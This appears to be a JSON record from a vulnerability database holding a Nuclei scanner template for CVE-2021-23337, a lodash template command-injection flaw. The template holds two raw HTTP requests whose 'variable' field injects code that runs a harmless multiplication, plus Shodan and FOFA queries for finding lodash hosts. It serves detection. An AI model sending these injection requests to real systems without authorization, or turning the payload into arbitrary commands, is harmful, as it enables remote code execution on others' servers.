{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-23337/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-23337/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-23337/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-23337/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-23337/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-23337"},"sightings":{"href":"/api/v1/sightings/cve-2021-23337"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-23337.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-23337\n\ninfo:\n  name: Lodash Template - Server-Side Template Injection (RCE)\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.\n  impact: |\n    Attackers can execute arbitrary commands on the host system, leading to full system compromise.\n  remediation: |\n    Update to version 4.17.21 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-23337\n    - https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724\n    - https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c\n    - https://github.com/advisories/GHSA-35jh-r3h4-6jhm\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.2\n    cve-id: CVE-2021-23337\n    cwe-id: CWE-94\n    epss-score: 0.21333\n    epss-percentile: 0.9761\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: lodash\n    product: lodash\n    shodan-query: http.component:\"lodash\"\n    fofa-query: body=\"lodash\"\n  tags: cve,cve2021,lodash,ssti,rce,nodejs,javascript,vkev\n\nflow: http(1) || http(2)\n\nvariables:\n  randA: \"{{rand_int(1000, 9999)}}\"\n  randB: \"{{rand_int(1000, 9999)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /template HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"template\":\"<%= name %>\",\"variable\":\") { return String({{randA}}*{{randB}}) }; with(obj\",\"data\":{\"name\":\"test\"}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{to_number(randA)*to_number(randB)}}\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        name: eval_result\n        regex:\n          - \"[0-9]+\"\n\n  - raw:\n      - |\n        GET /render?tpl=hello&variable=)%7Breturn+String({{randA}}*{{randB}})%7D%3Bwith(obj HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{to_number(randA)*to_number(randB)}}\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        name: eval_result\n        regex:\n          - \"[0-9]+\"\n# digest: 4b0a00483046022100a5d90bccd3799bc3c5862ab58b3443c8c64126bc74353841ebcec67327c257f0022100e9c64b7f1b11fb7c821543d4d28a4729c81803425fd2e430261efd9789a223b3:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-23337"}